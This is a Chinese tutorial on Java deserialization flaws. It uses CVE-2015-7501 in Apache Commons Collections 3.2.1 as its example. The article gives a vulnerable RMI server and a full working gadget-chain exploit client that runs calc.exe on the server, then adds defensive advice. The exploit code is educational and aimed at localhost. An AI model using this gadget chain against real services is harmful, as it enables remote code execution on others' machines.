反序列化漏洞
日常开发中我们都知道,在网络或存储介质中保存、读取数据,通常涉及序列化、反序列化机制。序列化(Serialization)即将内存中的对象状态转换成可存储和传输的格式(如XML、JSON、二进制数据等)的过程,而反序列化则是将其还原为对象的过程。反序列化漏洞则是指应用程序将字节流恢复为对象时,由于安全校验不严谨,程序意外还原了攻击者提供的恶意字节流,导致程序的行为超出了预期,读取了不该访问的数据,甚至出现远程代码执行漏洞(RCE)。反序列化漏洞的挖掘和构造都比较难,它需要我们有敏感的直觉、灵活的思维,以及对所测试的编程语言或框架有着深入的理解,这类漏洞通常都具有高隐蔽性和高危害性的特点。
反序列化案例分析
我们这里以Java编程语言中经典的Apache Commons Collections 3.2.1库(CVE-2015-7501)漏洞为例,介绍一种典型的反序列漏洞,这里我们使用的是JDK8版本。
服务端
我们的服务端实现了一个典型的RMI服务,RMI是Java中的一种远程调用(RPC)机制,它基于JDK序列化机制实现数据传输,在早期的JavaEE等领域有着广泛的应用。这里我们引入了存在漏洞的Apache Commons Collections 3.2.1库,虽然服务端代码并没有真的使用它,但我们稍后会在客户端构造的恶意对象中使用,因此一旦该库存在于服务端的类路径上,恶意逻辑就会被触发。
package com.gacfox.demo.server.service;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.Map;
public interface UserService extends Remote {
void addUser(Map<String, String> user) throws RemoteException;
}
package com.gacfox.demo.server.service;
import lombok.extern.slf4j.Slf4j;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Map;
@Slf4j
public class UserServiceImpl extends UnicastRemoteObject implements UserService {
public UserServiceImpl() throws RemoteException {
super();
}
@Override
public void addUser(Map<String, String> user) throws RemoteException {
log.info("User added: {}", user.get("username"));
}
}
package com.gacfox.demo.server;
import com.gacfox.demo.server.service.UserService;
import com.gacfox.demo.server.service.UserServiceImpl;
import lombok.extern.slf4j.Slf4j;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
@Slf4j
public class LaunchServer {
public static void main(String[] args) throws Exception {
UserService userService = new UserServiceImpl();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/UserService", userService);
log.info("Server started");
}
}
客户端
客户端中,我们构造了一个经典的恶意Gadget Chain来在服务端触发危险操作。
Apache Commons Collections 3.2.1中的“强大”功能
在具体看代码前,我们需要对Apache Commons Collections库有一些了解。这个库包含了许多对JDK中集合(Collections)操作的增强工具类和函数,其中一些功能实现的十分精妙,不可谓不强大,然而正是由于设计的过于“强大”,而忽视了一些潜在的安全问题。
首先是Transformer功能,它定义了一个transform(Object input)方法,可以优雅的实现将一个对象转换为另一个对象的逻辑,多个Transformer可以组合形成一个ChainedTransformer(它也是一个Transformer的派生类),将一系列的变换组合到一起。Transformer还有一些其它子类,ConstantTransformer将输入变换为一个固定值;InvokerTransformer更是不得了,它能通过反射调用目标对象上的指定方法。
LazyMap功能实现了一个静态工厂方法LazyMap.decorate(Map map, Transformer factory),它实现了装饰器模式,当调用map.get(key)时,如果key不存在会用提供的Transformer对key进行变换,并将结果作为value存入map并返回。
TiedMapEntry是一个工具方法,可以将一个Map对象和一个key绑定为Map.Entry对象,当它的hashCode()方法被调用时,内部会调用绑定的this.map.get(this.key)方法来计算hash值,这段逻辑我们打开TiedMapEntry类的实现就可以看到。
有了以上基础知识,再看以下代码就不难理解了。
利用代码实现
下面代码我们构建了一个发送恶意数据的客户端,它精心构造了一个远程代码执行的Payload,一旦服务端类路径上存在Apache Commons Collections 3.2.1漏洞就会被触发,并执行calc.exe弹出计算器(假设服务端是Windows操作系统)。
package com.gacfox.demo.client;
import com.gacfox.demo.server.service.UserService;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer attackChain = new ChainedTransformer(transformers);
Transformer emptyChain = new ConstantTransformer(1);
Map innerMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(innerMap, emptyChain);
TiedMapEntry tiedEntry = new TiedMapEntry(lazyMap, "trigger");
Map exploitMap = new HashMap();
exploitMap.put("username", "tom");
exploitMap.put("password", "abc123");
exploitMap.put(tiedEntry, "value");
lazyMap.remove("trigger");
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, attackChain);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
UserService service = (UserService) registry.lookup("UserService");
service.addUser(exploitMap);
}
}
代码中,我们首先构建了恶意的变换链attackChain,它是一个ChainedTransformer,它由多个Transformer组合而成,这些Transformer会调用Runtime.getRuntime()获取Runtime示例,然后在其上调用exec()方法执行任意命令。
lazyMap是一个被装饰的空Map,但我们没一上来就使用attackChain,而是先使用了一个固定返回1的变换,我们使用lazyMap创建了一个TiedMapEntry对象,前面说过TiedMapEntry的hashCode()方法被调用时会执行map.get(key),而lazyMap是一个被装饰的Map,因此会执行绑定的变换(虽然现在还是个空的变换),exploitMap是一个普通的HashMap,但我们将tiedEntry作为key向其中插入了一条数据,HashMap反序列化时,JDK会遍历所有Entry并调用key的hashCode()方法来重新放入桶中,此时TiedMapEntry的hashCode()就会触发。
但这里为什么我们要先用一个空的变换呢?因为HashMap的实现中,map.put(key, value)也会触发key.hashCode(),如果我们这里就用上恶意的变换链,那恶意代码就在客户端执行了,这显然不是我们想要的。我们先使用一个空变换代替,exploitMap.put(tiedEntry, "value")时空变换执行,根据之前所述的逻辑,lazyMap里会插入一个("trigger", 1),因此我们还需要将其移除,不然反序列化时lazyMap里能找到key="trigger"的数据,恶意变换就不会执行了。
接下来的3行代码中,我们使用反射强行替换了lazyMap对象中的factory字段,将其设置为了恶意变换,此时恶意Payload构造完成。通过RMI我们将恶意Payload发出,会发现服务端成功被RCE了,执行了Runtime.exec("calc.exe")。
如何防御反序列化漏洞
防御反序列化漏洞最优先要做的就是避免反序列化不受信任数据,使用简单纯粹、只包含数据字段的JSON通常都要比使用功能更复杂和“强大”的JDK序列化机制更加安全,此外如果工程中引入了大量第三方库,我们需要对这些库的安全漏洞消息保持关注,像Apache Commons Collections的3.2.2版本就修复了之前的漏洞,新版本禁止了InvokerTransformer类的序列化,在JDK8u121中,JDK也引入了反序列化类的黑名单、白名单机制,我们可以仅允许有限的类进行序列化,这样就能大大降低RMI时触发反序列化漏洞的风险。